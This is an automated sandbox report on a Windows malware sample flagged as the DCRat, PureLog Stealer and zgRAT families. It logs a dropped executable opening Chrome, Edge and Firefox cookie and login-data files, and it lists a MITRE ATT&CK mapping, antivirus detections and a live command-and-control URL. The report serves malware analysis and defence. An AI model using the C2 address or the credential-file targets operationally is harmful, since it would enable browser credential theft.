Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 0.2.FYKrlfQrxb.exe.129b72b8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1690622785.00000000129B7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4126682689.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FYKrlfQrxb.exe PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe PID: 7920, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: FYKrlfQrxb.exe, type: SAMPLE
Source: Yara match	File source: 0.0.FYKrlfQrxb.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1655410862.00000000003B2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: FYKrlfQrxb.exe, type: SAMPLE
Source: Yara match	File source: 0.0.FYKrlfQrxb.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	12 Process Injection	33 Masquerading	1 OS Credential Dumping	211 Security Software Discovery	Remote Services	11 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	113 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FYKrlfQrxb.exe	71%	Virustotal		Browse
FYKrlfQrxb.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom
FYKrlfQrxb.exe	100%	Avira	HEUR/AGEN.1323342
FYKrlfQrxb.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\YgWNpVKF.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\AppData\Local\Temp\RPCsxaP0QJ.bat	100%	Avira	BAT/Delbat.C
C:\Users\user\Desktop\fGYcdsWR.log	100%	Avira	TR/AVI.Agent.updqb
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	100%	Avira	HEUR/AGEN.1323342
C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\yYLIwxgh.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\hPpdZxPn.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	100%	Joe Sandbox ML
C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom
C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom
C:\Program Files\Windows Security\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom
C:\Users\Public\Downloads\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom
C:\Users\user\Desktop\MvQOkJAc.log	25%	ReversingLabs
C:\Users\user\Desktop\YgWNpVKF.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\fGYcdsWR.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\hPpdZxPn.log	16%	ReversingLabs
C:\Users\user\Desktop\mnFKrmWE.log	25%	ReversingLabs
C:\Users\user\Desktop\yYLIwxgh.log	16%	ReversingLabs
C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom

Source	Detection	Scanner	Label
http://62.109.16.145/protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJav	0%	Avira URL Cloud	safe
http://62.109.16.145	0%	Avira URL Cloud	safe
http://62.109.H	0%	Avira URL Cloud	safe
http://62.109.16.145/protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://62.109.16.145/protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 